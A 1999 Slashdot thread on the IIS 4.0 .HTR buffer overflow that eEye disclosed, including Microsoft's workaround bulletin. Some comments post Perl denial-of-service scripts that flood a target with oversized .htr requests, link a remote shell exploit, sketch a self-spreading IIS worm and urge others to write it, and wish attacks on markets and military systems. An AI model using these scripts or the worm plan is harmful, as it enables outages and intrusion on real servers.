    Windows folks, by contrast, have been trained to follow the path of least resistance by being spoon-fed these black boxes that inevitably blow up in their faces. An exploit like this shows up on CERT or Rootshell, and everybody.asp is a sitting duck. Sooner or later, CIOs are going to catch on here.

    They sure can sell the stuff, though. So well that the marketing folks can compromise the reputations of otherwise superlative programmers.

  61. harmless suggestion by Anonymous Coward · · Score: 0

    so how about everyone crack into all the IIS servers, install apache, and get the site to run off of it?

    1. Re:harmless suggestion by Anonymous Coward · · Score: 0

      wouldn't that be a hack? i mean it would be upgrading there system and patching a few holes.

      ~blank

  62. Scalability and sendmail by Eric+Green · · Score: 3

    Let me get this straight. Your idea for fixing the scalability problems of Sendmail is to create a config file format that takes MORE horsepower to parse (regular expressions)?

    I'll agree Sendmail needs a major overhaul and that the config file format is a disaster, but let's face it, anything as flexible as sendmail will have the same scalability problems as sendmail. The only solution to those scalability problems is to go with a less flexible MTA. Sort of like in web server, where if you want flexibility you go with Apache, but if you want speed, you go with thttpd or Zeus.

    -E

    --
    Send mail here if you want to reach me.
    1. Re:Scalability and sendmail by Anonymous Coward · · Score: 0


      Sendmail's stupid config file syntax makes it use
      5 rules to manipulate an email string around,
      whereas a real regular expression, or a functional language could do it in a single
      statement, internally executed much faster.

      I can't believe someone actually thinks that
      sendmail's ruleset system is either fast
      or efficient.

    2. Re:Scalability and sendmail by sgml4kids · · Score: 1

      That's the funniest (albeit unintentional) thing
      I've heard in days: "Sorry the email is so slow,
      folks. Those damn regular expressions are just chewing up our gateway..." ROTFL....

  63. Re:Care to back that up with sendmail-8.8.5+? by Anonymous Coward · · Score: 0

    The OP gave a list of areas where he considered sendmail to be the only option. You've indicated one area where sendmail isn't appropriate. Tools are tools. Pick the right one for the job. Few if any are right for every job. ("Software doesn't suck: People do.")

  64. Re:IIS Worm ideas by Anonymous Coward · · Score: 0

    Or go to any search engine, look for ASP

  65. Re:Bugs... by the+big+v · · Score: 1

    Actually, "ungrade" seems more appropos for M$ software... ;-)

    --
    The only ``intuitive'' interface is the nipple. After that, it's all learned.
  66. Re:full text of the eeye advisory - no sploit by the+big+v · · Score: 1

    I just tried it on one of the severs run by one of my companies, and I could not get it to work.

    I tried the ncx99.exe version, and never was there a reference to fetch that file from my main web site where I put it. So either, I'm an idjit (but when it comes to doing NT stuff, I'll admin I am) or this thing doesn't work.

    The NT system in question is a vanilla install of NT4 SP3 with IIS. Hmm. Maybe I'll upgrade to SP4 and see if it works...

    --
    The only ``intuitive'' interface is the nipple. After that, it's all learned.
  67. Re: Well is this fast enough for you? by Thinman · · Score: 1

    Hey, how many ITs have read this?
    Does anyone of them have done the steps to resolve this isue?

  68. Re:full text of the eeye advisory - no sploit by gavinhall · · Score: 1
    Posted by Matt Bartley:

    The NT system in question is a vanilla install of NT4 SP3 with IIS. Hmm. Maybe I'll upgrade to SP4 and see if it works...
    On the page about the iishack exploit they say they don't know if it will work on service pack 3 systems, and would like reports one way or the other.
  69. Re:Is there any way to check... by NightStriker · · Score: 1

    Well, you could use nmap to figure out which OS the computer in question is running, but as to which Windows version and patch level, I haven't a clue. nmap doesn't support that, yet. There are programs out there that do, but I can't remember any right now.

  70. Under grad... nope not at all.... by elbow · · Score: 1

    - 10 years commercial experience

    - two large applications written / delivered / supported.

    - sold one application to a TLA multinational.

    - spent time working in US teaching american programmers about OO.

    - currently earning 4 1/2 times mean wage of the country I live in.

    - No degree, and proud of it, get to where I am and you don't need one.

    What have you done?

  71. Re:Care to back that up with sendmail-8.8.5+? by microbob · · Score: 1
    1) lame config file format. a full regular expression engine would be faster, and easier to use

    Pay the $$$ and get the web interface. Quite nice, or, if you are cheap buy the O'Reilly book, RTFM, etc, etc. You will not find a more featured MTU at a cheaper price.

    2) *NOT SCALABLE* Period. Every webmail provider who tried to go with the sendmail approach got hammered. Commercial alternatives like SIMS, Post.office, or IsoCor are much more scalable, into the millions or 10s of millions.

    Yeah, and they didn't download any one of those mail systems and use it at no cost. I'll bet you any large scale ISP pays over $30k for their mail/POP/IMAP servers.

    3) buggy as hell. Sendmail is single handedly responsible for more rooting than any other Unix app. Not just buffer overflows either.

    Maybe in the past, but not lately. Sendmail, properly configured, is rathter tight these days. Generally it is the admin to blame.

    Laters...

  72. Re:Read the code! by yomahz · · Score: 1

    It should be for not or

    --
    "A mind is a terrible thing to taste."
  73. Re:It's the the programmer! by Anonymous Coward · · Score: 0

    Is Dylan written in Dylan?/I?

    Yea, both Gwydion Dylan for Unix systems and Harlequin Dylan for Win32 are written in Dylan.

  74. Re:long posts by yomahz · · Score: 0

    Hey! Where's the anal guy who got mad at me for posting the output of the sar -A command yesterday? is he not on /. long post patrol today?

    heh.. he told me to make a link instead of posting it but this guy posted the text from a link. I bet he's tossing and turning in his bed right now.

    --
    "A mind is a terrible thing to taste."
  75. Re:full text of the eeye advisory - no sploit by QuantumG · · Score: 1

    Did I read the advisory? Please. I read the advisory, posted my comments to slashdot then sent email to eEye requesting they put the sploit on their page. Which they have done.. thank you eEye.

    --
    How we know is more important than what we know.
  76. Re:There is a full remote exploit available. by rascharles · · Score: 1

    The links don't seem to work anymore. Has Micro$oft or some other company filed a suit or for an injunction to stop the distribution of the code?

    --
    A
  77. Re:It's the the programmer! by beroul · · Score: 1

    The string class in the standard C++ libraries does bounds checking. Perhaps some Microsoft programmers aren't making adequate use of standard libraries.

    --

  78. Re:full text of the eeye advisory by microbob · · Score: 1

    Damn, that was beautiful!

    Jim

  79. Re:BankBoston uses Microsoft Windows NT and IIS! by Azul · · Score: 1

    Okay, so, I run the CGIs using ";uptime" inside the query string. Now what??? All this does is adding ";uptime" at the end of the enviroment variable QUERY_STRING of the CGI application (assuming you are using the GET HTTP REQUEST_METHOD), I can't see how is that going to fill the process table or do any kind of harm.

    Alejo.

  80. Re: Well is this fast enough for you? by Anonymous Coward · · Score: 0

    I did it on my boxes. Worked fine. My fault for having those filters enabled in the first place. I disabled the rest I didn't need.

  81. more like 2 weeks... by Barbarian · · Score: 1

    > Yeah, there's a patch coming, maybe a day or > two slower than Linux would have it out A day or two? More like a few weeks. MS just hasn't admitted it until a security company blew the whistle. There was a serious DOS bug against NT/95/98 discussed several months ago on Bugtraq. Still no fix, and MS knew two months ago at least.

  82. Re:It's the the programmer! by Anonymous Coward · · Score: 1

    Isn't Perl written in C? (Is Dylan written in Dylan?)

  83. Re:Theoretical exploit by Anonymous Coward · · Score: 0

    If people could die, they'd all be going down right now. Since that isn't happening, it can't be true.

  84. whoa by Anonymous Coward · · Score: 0

    >The hole, a nice little number, called remote users can gain
    >root access, using buffer overflow is "being treated" seriously by the corporation.

    Hemos, dude, get some sleep. This sentance would make Yoda cringe! =)

    1. Re:whoa by j+c+s · · Score: 1

      Yeah, and how do you gain "root" access on a system that doesn't have a root account? Don't you mean, you can gain "Point-and-click Administrator" access?

  85. The C++ advantage by Anonymous Coward · · Score: 0

    Sure, those other languages have advantages. I love java,
    think it's great, and really enjoy programming in it. The
    problem: I can't stand running what I write.

    It's too damn slow!!

    1. Re:The C++ advantage by for(;;); · · Score: 2

      Perl and Java can both be compiled to (real) machine code; their speed in these situations is close to C++ -- at least, close enough to justify coding in them. (Although I agree that coding real applications in interpreted Java is total folly, at least on today's machines.)

      --

      "Whatever happened to fair use?"
      -- Duff-Man
  86. Re:Theoretical exploit by kijiki · · Score: 2

    Its pretty obvious from the data in the registers after the crash that it works. Just in case you know nothing about the x86 line, I'll enlighten you. the fact that ECX and EIP (EIP is the instruction pointer, use your imagination) are filled with 0x41414141 (0x41 is the letter 'A', which is what their overflowing buffer was filled with). So obviously, the instruction pointer is overwritten, allowing the attacker to point EIP back into the buffer, executing their code. Not theoretical at all. The reason sites aren't going down left and right is that the security outfit that found this didn't give out their own test exploit, and people who know how to write one don't give them to script kiddies. An exploit has usually been known about by professionals for a while before it shows up on rootshell.com. The only reason script-kiddie attacks are so sucessful is that admins don't patch to fix holes that have been known about for years.

  87. IIS Worm? by Izaak · · Score: 3
    Weird. I was just predicting in an earlier /. discussion that something like this would crop up. Now I wonder how long it will take for the second part of my prediction to come true. It is only a matter of time before someone writes a worm that bounces from server to server exploiting this bug.

    Think about it. These systems are *web servers*. They are Internet connected and already configured to deliver files to remote systems. The worm need only deliver a small piece of seed code that uses an HTTP request to pull the entire package down from the attacking system. The cracked system then sets up its own downloadable worm package and then starts probing for other IIS servers to deliver it to. This could sweep through the Internet like wildfire.

    Scary. I am VERY glad my business is running on Apache.

    Thad

    1. Re:IIS Worm? by Anonymous Coward · · Score: 0

      You made a good point. This is a hole that terrorist will use to do what they need to do to cause havoc.

    2. Re:IIS Worm? by edgy · · Score: 2

      Well, considering something like 55-60% of the web runs on Apache, and only 26% or so run on IIS, the web would most probably still be kicking if something like these were to plague IIS.

    3. Re:IIS Worm? by Anonymous Coward · · Score: 0

      maybe someone should post a bounty for it. hmmm, anyone have an Eternity server? ;)

      would be quite amusing to see the effect on a certain company's reputation.

    4. Re:IIS Worm? by orichter · · Score: 1

      >>Scary. I am VERY glad my business is running on >>Apache.

      Don't count on Apache to save you. A worm such as you describe could bring the entire web to it's knees. Your site may still be working, but no one can get to it.

  88. Re:They know the difference! by Anonymous Coward · · Score: 0

    Thank you! It's so seldom a slashdotter compliments an organization for doing something right, but we're so quick to complain.

  89. Re:Bugs... by ph43drus · · Score: 1
    Guess what, my watch says 6-15, and the report was released by eEye on June 8. Do the math. Start bashing MickeySoft any time now. They just don't have a good turn around time. 4 hrs for the Linux DoS attack, it's somewhere between 168-192 hours and counting for the IIS attack...



    Stupid proprietary software...



    Jeff

  90. Radio Silence...Can't find media coverage by Rotten · · Score: 1

    This is really important, no media coverage about this story?
    My fuc*ing bank runs on IIS! I want my money back!
    Who the hell is giving security certifications in this world? Mickey Mouse?

    I HATE this propietary software!

    If Open Source, every sysadmin in the planet would have fixed this (but don't tell M$, they should not master this secret)

    Linux, Pizza & Champagne!

  91. So what if you need HTR script mapping? by Barbarian · · Score: 1

    Hmmm? What does it do?

  92. Re:Care to back that up with sendmail-8.8.5+? by Anonymous Coward · · Score: 0

    well put *period*

  93. Retina availability for other OS by imac.usr · · Score: 1

    I sent an email to eEye this evening asking about plans for porting the Retina tool to Mac OS X Server, and just got a reply a few minutes ago (!) stating that there are plans for both X Server and Linux versions in the future, although they state that it's a ways off at present (and no mention of source availability). Still, pretty fast turnaround time on their email, that's encouraging in any company.

    --
    I use Macs for work, Linux for education, and Windows for cardplaying.
  94. Re:End Buffer Overruns Forever by Omnifarious · · Score: 2

    Your comment doesn't completely address his concerns. Being able to sneak an arbitray return address allows you to execute almost arbritrary code whether the stack is considered executable or not.

    With a commerical product like IE, the attacker will have complete knowledge of all the code loaded into memory. Just jump to some bit of normally executable code in memory that does what you want. On an Intel chip, you don't even have to jump to an instruction that originally existed. Jump into the middle of an instruction and you get code that the designers never intended to be put there.

    I fervently hope that this bug is used to repeatedly down the stock market and a few military computers. That would put the spotlight like nothing else on Microsoft's failings.

  95. Re:Care to back that up with sendmail-8.8.5+? by Anonymous Coward · · Score: 0


    That's right ISP's pay money for MTA's, and
    why not?

    If I've got an Enterprise 450, I'd rather run SIMs, Post.Office, or IsoCor, and have it scale to 500,000 users, with efficient pop and imap,
    rather than buggy sendmail and *LAME* open-source mbox based IMAP implementations.


    Today, people are outsouring email. You Linux people still don't get it. The price of software is the cheapest part! It doesn't matter if it's $0 or $10,000. What matters is if the total costs are $30,000 or $150,000.


    Get out of your parent's basement for one. The world doesn't revole around lame workgroup servers that host 500 users.

  96. Re:It's the the programmer! by Omnifarious · · Score: 1

    As a few people have stated, C++ gives you the power to fix the buffer overflow problem once and for all.

    As a few other people stated, recoding the standard libraries is considered unacceptable when you're on a schedule.

    My response to these people is "What do you think Open Source is for anyway?". Find a library that fixes the problem, and use it. No need for you to do any coding.

    I, personally have a library I've used for several projects that eliminates the buffer overflow problem. It also permits a lot of data stream processing, chopping, and hacking to pieces without needing to make a single copy. One of these days, I'll even publish it under GPL.

  97. Hmm... by sheldon · · Score: 1

    So if I setup a server with RedHat, and someone uses a security hole to get access RedHat will pay me back for the effort required to fix the damage?

    I didn't realize that. Do the other Linux distribution people do this as well? How can Debian afford this?

  98. Re:It's the language by MaksO · · Score: 2

    Stone age programming technology? C++ is certainly not that. Strings can be handled with class to do all neccessary bounds checking..Thaer, it's programmmers deciding to use a char[] in an improper place.

  99. Way to go MS by ps+-onnt · · Score: 1

    I'm thinking, class action suit. Maybe that's too extreme. Let's see if they take accountablity...

    --
    I'm currently logged in as my redundant backup account as my primary failed over.
  100. Re:Theoretical exploit by Anonymous Coward · · Score: 0

    Actually, the denial of service attack for this is
    very simple. A one-line perl script could do it (with the help of some many-line libraries, ie IO::Socket ;-) ).

    The exploit would be a trick, sure, but denial of
    web service is a MAJOR problem for a company that
    is solely web based and running IIS4. There are
    lots of web-only businesses out there for whom this presents a major threat if they're running IIS4, especially since the attacking ip address isn't even logged before iis dies.

  101. Re:Bugs... by ps+-onnt · · Score: 1

    Tey'l probably call it an ungrade and charge for it...

    --
    I'm currently logged in as my redundant backup account as my primary failed over.
  102. A day or two? by Aglassis · · Score: 1

    eeye released this on June 8th, 1999. Thats 4 "a day or two's". And the advisory does say that MS was notified on the 8th.

    --
    Suddenly, the hairy finger of a familiar monkey tapped me on the shoulder. It was time.--G. T.
  103. Re:Bugs... by ps+-onnt · · Score: 1

    Yea. I can spell. Sorry. They'll probably call it an upgrade and charge for it.

    --
    I'm currently logged in as my redundant backup account as my primary failed over.
  104. Re:Theoretical exploit by Anonymous Coward · · Score: 0

    Hmm... Hotmail doesn't seem to be working right now... are they running IIS4?

  105. Then you're obviously not programming C++ well... by elbow · · Score: 1

    if you don't know what you are doing then C++ not only saddles you with the same buffer overflows, but often buries them deep inside classes, behind badly mangled names, hidden from the probing of debuggers.

    If you do know what you are doing then it gives you the ability to fix the problem once and for all... like any half decent programmer in any language should.

  106. Re:Go figure... by ps+-onnt · · Score: 1

    I noticed that. 'bout time.

    --
    I'm currently logged in as my redundant backup account as my primary failed over.
  107. Re: It's the admin! by Buddy · · Score: 1
    How about if your NT box isn't secure, you're just not a good enough administrator? No suggestion that if you used Unix, you might not have to DEAL with some of these problems?

    I agree with this. I just finished remotely removing ISM.DLL from all my NT-webservers, all the time thinking: I knew I should've removed it when I removed all the .htr files!

    There's two problems here:

    1. An NT admin (any admin, really) shouldn't expose his system to the outside world unless he can trust the software on it to be secure.
    2. Microsofts pre-installed extentions are dangerous.

    I'm not leaving any microsoft extensions in IIS unless they're required.

    Sigh. Thank ghod we're moving to Apache.
    --

    --

    -- Buddy

  108. While everyone's chipping in alternatives... by whoop · · Score: 1

    ZMailer ( zmailer.org) is very easy to set up and stable. It has built in things for mail list management, the RBL, etc. After QMail refused to take any more mail, I had ZMailer up and running in a few minutes after download/compilation.

  109. Trampolines by Anonymous Coward · · Score: 1

    They are tiny pieces of dynamically generated code. They run on the stack.

    1. Re:Trampolines by Tom+Christiansen · · Score: 2
      I know about the signal trampoline code. I still don't understand why it is considered imperative. There are many other possible approaches beyond making STACK pages +x.

      I cannot believe that the disadvantages of selecting an alternate implementation would be greater than the advantages of not letting anybody splat their own code in a perfectly running program and have it execute that user code.

      Self-modifying code may be nice for Core Wars, but it sucks for security verification.

    2. Re:Trampolines by Anonymous Coward · · Score: 1

      Trampolines are fun things you see them at the fair and you can bounce up and down and up and down on them and they are fun.

      Great for kids, but I wouldn't put my pc on a trampoline 'cos it might fall off and get broken.

      Playing dangerous games with the stack may be fun, but is it necessary on a web server????

  110. I bet there servers where patched asap by DaMan · · Score: 1

    If not then they would be down as we speak.
    --
    Joshua Curtis
    Lancaster Co. Linux Users Group

    1. Re:I bet there servers where patched asap by Anonymous Coward · · Score: 0

      You think?

      There are as yet no patches.

      Only work arounds.

  111. Re:hmmmm by whoop · · Score: 1

    Or are you the plant? Or am I? Or is my dog?

    We shall never really know, eh? (raising one eyebrow, head slightly tilted)

  112. Re:End Buffer Overruns Forever by Tom+Christiansen · · Score: 1
    Seems to me you've gotta be able to write them AT LEAST ONCE, to load in the code from disk every time it gets paged in.
    Just because they're writable in kernel mode while exec*(2) is running doesn't mean that they must be writable in user mode.

    But you don't have to execute data or write to a code segment to crash a machine
    First of all, the worst that could happen is that the process would core dump. The kernel is of course insulated from such sillinesses. That's why you have page tables and access control.

    Second of all, it sure seems better that a program should crash than that some nastiness comes insinuating itself into unwanted places, executing arbitrary code (that's the bad one), or any number of other undesirable things.

    Still, I really don't understand why this hasn't been done. It seems so obvious. There must be something important that the dangerously high blood levels in my caffeine stream are occluding.

  113. Text of MS Security Bulletin MS99-019 by NightStriker · · Score: 2

    Microsoft Security Bulletin (MS99-019)
    --------------------------------------

    Workaround Available for "Malformed HTR Request" Vulnerability

    Originally Posted: June 15, 1999

    Summary
    =======
    Microsoft has released a patch that eliminates a vulnerability in Microsoft (r) Internet Information Server 4.0. The vulnerability could allow denial of service attacks against an IIS server or, under certain conditions, could allow arbitrary code to be run on the server.

    Microsoft has issued this bulletin to advise customers of steps they can take to protect themselves against this vulnerability. A patch to eliminate this vulnerability is being developed, and an update to this bulletin will be released to advise customers when it is available.

    Issue
    =====
    IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. A vulnerability exists in ISM.DLL, the filter DLL
    that processes .HTR files. HTR files enable remote administration of user passwords.

    The vulnerability involves an unchecked buffer in ISM.DLL. This poses two threats to safe operation. The first is a denial of service threat. A malformed request for an .HTR file could overflow the buffer, causing IIS to crash. The server would not need to be rebooted, but IIS would need to be restarted. The second threat would be more difficult to exploit. A
    carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files.

    While there are no reports of customers being adversely affected by this vulnerability, Microsoft is proactively releasing this bulletin to allow customers to take appropriate action to protect themselves against it.

    Affected Software Versions
    ==========================
    - Microsoft Internet Information Server 4.0

    What Microsoft is Doing
    =======================
    Microsoft has provided a workaround that fixes the problem identified. The workaround is discussed below in What Customers Should Do.

    Microsoft also has sent this security bulletin to customers subscribing to the Microsoft Product Security Notification Service.
    See http://www.microsoft.com/security/services/bulleti n.asp for more information about this free customer service.

    What Customers Should Do
    ========================
    Microsoft highly recommends that customers disable the script mapping for .HTR files as follows:
    - From the desktop, start the Internet Service Manager by clicking Start | Programs | Windows NT 4.0 Option Pack | Microsoft Internet Information Server | Internet Service Manager
    - Double-click "Internet Information Server"
    - Right-click on the computer name and select Properties
    - In the Master Properties drop-down box, select "WWW Service", then click the "Edit" button .
    - Click the "Home Directory" tab, then click the "Configuration" button .
    - Highlight the line in the extension mappings that contains ".HTR", then click the "Remove" button.
    - Respond "yes" to "Remove selected script mapping?" say yes, click OK 3 times, close ISM

    A patch will be available shortly to eliminate the vulnerability altogether.

    Customers should monitor http://www.microsoft.com/security for an announcement when the patches are available.

    Microsoft recommends that customers review the IIS Security Checklist at
    http://www.microsoft.com/security/products/iis/C heckList.asp

    More Information
    ================
    Please see the following references for more information related to this issue.

    - Microsoft Security Bulletin MS99-019,
    Workaround Available for "Malformed HTR Request" Vulnerability (The Web-posted version of this bulletin),
    http://www.microsoft.com/security/bulletins/ms99 -019.asp.

    - IIS Security Checklist,
    http://www.microsoft.com/security/products/iis/C heckList.asp

    Obtaining Support on this Issue
    ===============================
    If you require technical assistance with this issue, please contact Microsoft Technical Support. For information on contacting Microsoft
    Technical Support, please see
    http://support.microsoft.com/support/contact/def ault.asp.

    Revisions
    =========
    - June 15, 1999: Bulletin Created.

    For additional security-related information about Microsoft products, please visit http://www.microsoft.com/security


    ------------------------------------------------ ------------------

  114. Re: Well is this fast enough for you? by acarey · · Score: 1

    My fault for having those filters enabled in the first place.

    Oh, I don't know that you should blame yourself... I think a strong argument can be made for Microsoft making their software installers default to minimal installations rather than complete installations (particularly for products where security is an issue, e.g. NT server, IIS).

    Cheers
    Alastair

    --
    -- "I believe the human being and the fish can coexist peacefully." - George W. Bush, 29 September 2000
  115. Re:uhh yes it is. I have been using it for 2 days by Anonymous Coward · · Score: 0

    uhh yes it is.
    We have updated our advisory on our website,
    http://www.eeye.com/database/advisories/ad060819 99/ad06081999.html
    and as promised added a link to the working remote exploit,
    http://www.eeye.com/database/advisories/ad060819 99/ad06081999-exploit.html

  116. Re:BankBoston uses Microsoft Windows NT and IIS! by Anonymous Coward · · Score: 0

    This is the perl exploit. Note you will need to install some extra perl modules if you are using the RedHat defualt setup. Maybe other default setups on other distrubutions as well.

    #!/usr/bin/perl
    use LWP::Simple;
    for ($i = 2500; $i = 3500; $i++) {
    warn "$i\n";
    get "http://$ARGV[0]/".('a' x $i).".htr";
    }

  117. Re:whois your bank by Anonymous Coward · · Score: 0

    The subject says it all.

  118. IIS Worm ideas by Anonymous Coward · · Score: 0

    These are just ideas here, take 'em or leave 'em.

    The worm could, once installed, have 2 different stages. 1st is replication stage (goes to the internet - maybe search engines - to find other IIS sites) the 2nd is (rude)awakening time. That's where the worm engraves a "Microsoft sucks" or "This worm sucks" or something like that - be creative. You could even have it increment a # everytime it replicates and brand a "Microsoft Sucks - Mr Worm v. XX".

    Variations - for replication it could replicate itself differently every time, throwing in random permutations into the byte code. For the 2nd stage - Have it broadcast messages to the entire domain.

    The assembler code from www.eeyes.com could be of use.

    There's got to be some bored dorm dwellers out there to pick the ball up.

  119. Yes but... by Wakko+Warner · · Score: 1
    ...that's assuming NT admins have clues, which I've found generally not to be the case.

    - A.P.
    --


    "One World, One Web, One Program" - Microsoft Promotional Ad

    --
    "Remember when the U.S. had a drug problem, and then we declared a War On Drugs, and now you can't buy drugs anymore?"
  120. Re:End Buffer Overruns Forever by Anonymous Coward · · Score: 0

    I'm not an expert (actually I'd say I don't even have half a clue :) but isn't that what ".rodata" is for? Also isn't TMTOWDI the perl motto? All your use of "never" kinda scares me. Shouldn't the programmer be able to decide what is readable and writable? There seems to be a current trend towards not giving the programmer a choice. I've seen many complaints about C not doing bounds checking, no garbage collection, no this, no that. What the hell are people using it for then? Why not use perl or whatever you happen to like? Most of this isn't directed at you, Tom, btw. It just seems like people are blaming the tools for their own short-comings, and the answer, instead of using a different tool, is that we should dumb down what we have now.

  121. Java, anyone? by Anonymous Coward · · Score: 0

    Note that buffer overflows/stack smashing is impossible in Java...

  122. Re:Exploit? by Tweety+Fish · · Score: 2

    Oh, this is fully exploitable.

    Perhaps the people who released the advisory wanted to wait for a patch from MS before releasing their exploit...

    It's going to be a very scary couple of days. I would suggest that any IIS admins fix things right away...

    This kind of hole could be used very easily to run an "egg" that would open a remote command shell, or install NetBus or Back Orifice 2000


    http://www.bo2k.com

    Watch that space, and remember DefCon is July 9-11 in Las Vegas.

  123. You want to see something REALLY scary? by discHead · · Score: 1

    Think about this story as you read the following MS releases...

    1. Re:You want to see something REALLY scary? by dirty · · Score: 1

      With regard to the psuedo-C2 certification. C2 requires that the computer have no network access of any kind, be it network card, modem, or what have you. So this wouldn't really have any impact.

      --

      -matt
  124. Practical exploit (was Re: Theoretical exploit) by Anonymous Coward · · Score: 1

    lifted from bugtraq:

    #!/usr/bin/perl
    #props to the absu crew
    use Net::Telnet;
    for ($i=2500;$i3500;$i++)
    {
    $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
    my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
    print "$cmd\n";$obj->print("$cmd");
    $obj->close;
    }

    works for me. shellcode exercise for reader.

    1. Re:Practical exploit (was Re: Theoretical exploit) by Anonymous Coward · · Score: 0

      http://www.eeye.com/database/advisories/ad06081999 /ad06081999-exploit.html

      this one isn't just a DoS -- gives you a cmd.exe (running under the privs of the webserver i'd guess).

      executables supplied for all you script kiddies out in middle america.

  125. Re:Theoretical exploit by Mike+A. · · Score: 1

    Oddly enough, no. FreeBSD/Apache on the front end, Solaris on the back end.

    --

    --
    Do I look like I speak for my employer?
  126. In case you don't know the answer to this..... by Anonymous Coward · · Score: 0

    OpenBSD/Apache.

    Have faith in MSII4.0 - Microsoft doesn't. ;)

  127. Re:It's the the programmer! by Tom+Christiansen · · Score: 2
    Isn't Perl written in C?
    Have you ever tried to "overwrite" a short string in Perl with a larger one? It auto-allocates. If you start adding C extension modules to Perl, well, then yes, you've opened up a hole, but that's hardly Perl's fault. The pure Perl modules you write should be fine. We did an extensive Purify etc bug-check on Perl quite some time ago.
  128. Re:Theoretical exploit by Anonymous Coward · · Score: 0

    Should be easy for anybody with a little assembly skill to write an exploit. Most people are stupid, but all it takes is one smart one to get the exploit out there.

  129. Found out what "E3" really means by seanb · · Score: 1

    Found this description of ITSEC assurance levels.
    "E3:
    Source code or hardware drawings to be produced. Correspondence must be shown between source code and detailed design. Acceptance procedures must be used. Implementation languages should be to recognised standards. Retesting must occur after the correction of errors."

  130. What is the world coming to? by Anonymous Coward · · Score: 0

    Wired gets hacker/cracker right, and /. gets it wrong?

    I can't take this. I need to go lie down for a while.

  131. Re:End Buffer Overruns Forever by Anonymous Coward · · Score: 0

    1. This is not the solution. It is a work-around. There are "non-executable-stack" patches available for many systems, e.g. Linux, and they are ALL just workarounds
    2. People crack servers because "L: system P: administrator" doesn't work these days
    3. Therefore once you add the workaround, people will just crack that too
    4. So FIX THE PROBLEM. Design applications to be secure. Implement them in a security-conscious way. Test for security holes BEFORE shipping the product.

    This has been discussed several times on Bugtraq, the conclusion is always that we should write software without security holes. In the mean time there are some finger-in-the-dyke patches like non-executable-stack.

    Nick

  132. BankBoston uses Microsoft Windows NT and IIS! by Brian+Ristuccia · · Score: 1

    My bank runs their online banking system on Microsoft Windows NT and IIS! Looks like it might be time to move my money somewhere else...

  133. Actually... by Edward+Carter · · Score: 1

    If people flame, it's probably in reaction to all the NT zombies who've droned on and on for years that roothacks on NT are inherently impossible, which is still fair to do even with sendmail. :)

  134. Context by artdodge · · Score: 1

    IMVHO, the most telling part of the article is what comes at the end... a tidy list of previous articles outlining MS security "difficulties"...

  135. hmmmm by lenthe · · Score: 1

    I found this on eeye's web page:

    eEye - Digital Security Team did provide Microsoft with an immediate patch for the web server and complete details on how the vulnerability can be exploited remotely to gain system level access to the web server's data.

    Since eeye sent a patch to microsoft does that imply that they have the source code? Also if microsoft has a patch why haven't they distributed it? hmmmmm

    1. Re:hmmmm by Anonymous Coward · · Score: 0

      There is no evidence to substantiate what I'm about to say. This is fiction.

      I sometimes wonder if large companies that supposedly have these vast resources deliberately not provide fixes because they're running around exploiting holes in the software they provide. Customer information and database information is pretty valuable esp. in the internet business, the business which MS has a dual role in: providing the OS that provide companies the ability to host services, and providing services themselves.

      Sure, they are probably better ways, e.g. political maneuvers, agreements, and buyouts, to gain this information. But I do sometimes wonder if they just plant seeds, with only an inkling of intention, just to see if it bears fruit later or grows a tree that could bear fruit.

      Oh well.

    2. Re:hmmmm by SalsaDoom · · Score: 0

      Aha! But you could be a MS-Spy send to make us disregard the truth, by planting this here you could be really discounting the truth as paranoia.

      Wouldnt that be clever?

      --
      "Computers will never truly be free until the last windows user is strangled with the entrails of the last mac user."
  136. Re:Exploit? by way_out · · Score: 1

    read the forum!

  137. read by way_out · · Score: 1

    http://www.eEye.com/database/advisories/ad06081999 /ad06081999-exploit.html

  138. Re:It's the language by toriver · · Score: 1
    Common' folks, it's time to move on to a decent language like Dylan. You will be more productive, and your programs may even run faster.

    *sigh* At one point, comp.object overflowed with religious Eiffel advocates (still does) which permanently turned me off the language - independent of the language's merits. Now, there seems to be a whole bunch of Dylan advocates coming to the fore who will turn me off that language, too.

    Ah well. I'm glad I have Java and Python.

  139. Shady day for MS. by ill · · Score: 1

    I'm thinking this is gonna be on tv. Many large companies webpages are not going to be running as they should be and will probably get something going about it.

  140. Re:Care to back that up with sendmail-8.8.5+? by Anonymous Coward · · Score: 0

    That's right ISP's pay money for MTA's, and
    why not?



    Ummm... maybe because it's expensive?



    If I've got an Enterprise 450, I'd rather run SIMs, Post.Office, or IsoCor, and have it scale to 500,000 users, with efficient pop and imap, rather than buggy sendmail and *LAME* open-source mbox based IMAP implementations.



    Nothing much I can say here. It's your call.



    Today, people are outsouring email. You Linux people still don't get it. The price of software is the cheapest part! It doesn't matter if it's $0 or $10,000. What matters is if the total costs are $30,000 or $150,000.



    Generic Slashdot Flame Filter: MATCH - "You linux people". Come, now. I suppose now that I pointed that out, BSD, Solaris, BeOS, and (gasp) Windows people don't get it either.



    Get out of your parent's basement for one. The world doesn't revole around lame workgroup servers that host 500 users.



    Ah. Now Linux people are also invariably running workgroup servers in their parents' basement. Come on.

  141. These are inevitable by edgy · · Score: 5

    This might look like flamebait, but this is exactly the reason that people should be weary of Microsoft products.

    In Unix's long history, there have been many vulnerabilities and problems that have popped up. We've had problems with sendmail, ssh, etc., and all of these utilities went through a lot of modifications and change, but they're becoming quite secure. I see less and less security problems with these utilities.

    There was a saying that said that if you don't learn unix, you're are bound to reimplement it.. badly.

    Microsoft's tools are not proven. They do not have the years of maturation that proven UNIX servers and utilities do. Sure, Unix is 30 years old, but that makes for a far mature and proven operating system.

    Microsoft's servers are closed source, so we cannot verify the quality of the security of the code, and we cannot fix them quickly if there are problems.

    Is it any wonder that Apache has such a huge marketshare? What is there to give us confidence in the code in IIS? Marketing and Public Relations? Isn't technical merit far more important?

    1. Re:These are inevitable by Locutus · · Score: 1

      Don't forget that Micros~1 comes out with replacement operating systems about every 2 years. What new security holes will be found in NT 5/2000? That's a history to run a business on. NOT!

      --
      "Anyone who stands out in the middle of a road looks like roadkill to me." --Linus
  142. Stop helping M$ by Max+von+H. · · Score: 2

    I think, IMHO, that the Un*x community should stop helping M$ by divulgating security holes in their products. Let's keep everything for ourselves and then crash every single M$ server so that they'll be too down to spit on the open community ever again.

